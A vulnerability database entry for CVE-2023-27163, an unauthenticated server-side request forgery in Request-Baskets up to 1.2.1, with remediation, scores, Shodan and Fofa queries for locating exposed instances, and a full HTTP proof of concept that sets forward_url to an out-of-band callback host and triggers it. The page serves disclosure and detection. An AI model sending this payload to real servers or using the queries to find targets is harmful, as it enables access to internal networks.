🔙 목록으로 돌아가기

CVE-2023-27163: Request-Baskets <= 1.2.1 - Server Side Request Forgery

TitleRequest-Baskets <= 1.2.1 - Server Side Request Forgery
AuthorJaenact
SeverityMedium
ImpactAttackers can perform SSRF attacks to access internal network resources, scan internal systems, or interact with services that should not be accessible from external networks.
RemediationUpgrade to Request-Baskets version 1.2.2 or later that addresses this SSRF vulnerability.
CVSS Score6.5
EPSS Score0.92878
CVE IDCVE-2023-27163
CWE IDCWE-918
Shodan Queryhttp.html:"Request-Baskets"
Fofa Querybody="Request-Baskets"
Tags cve cve2023 ssrf request-baskets oast proxy vkev vuln

🔍 Vulnerability Description

Request-Baskets <= 1.2.1 allows unauthenticated SSRF via the forward_url parameter when creating a new basket.

🌐 HTTP Request

POST /api/baskets/z2yCSek HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393
Connection: close
Content-Length: 171
Content-Type: application/json
Accept-Encoding: gzip

{

  "forward_url": "http://d5jko09le0o4b84fhth0wx55wi1ibd34r.oast.fun",

  "proxy_response": true,

  "insecure_tls": false,

  "expand_path": true,

  "capacity": 250

}
GET /z2yCSek HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-27163.yaml

🦈 Packet Capture: ⬇️ Download cve-2023-27163.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A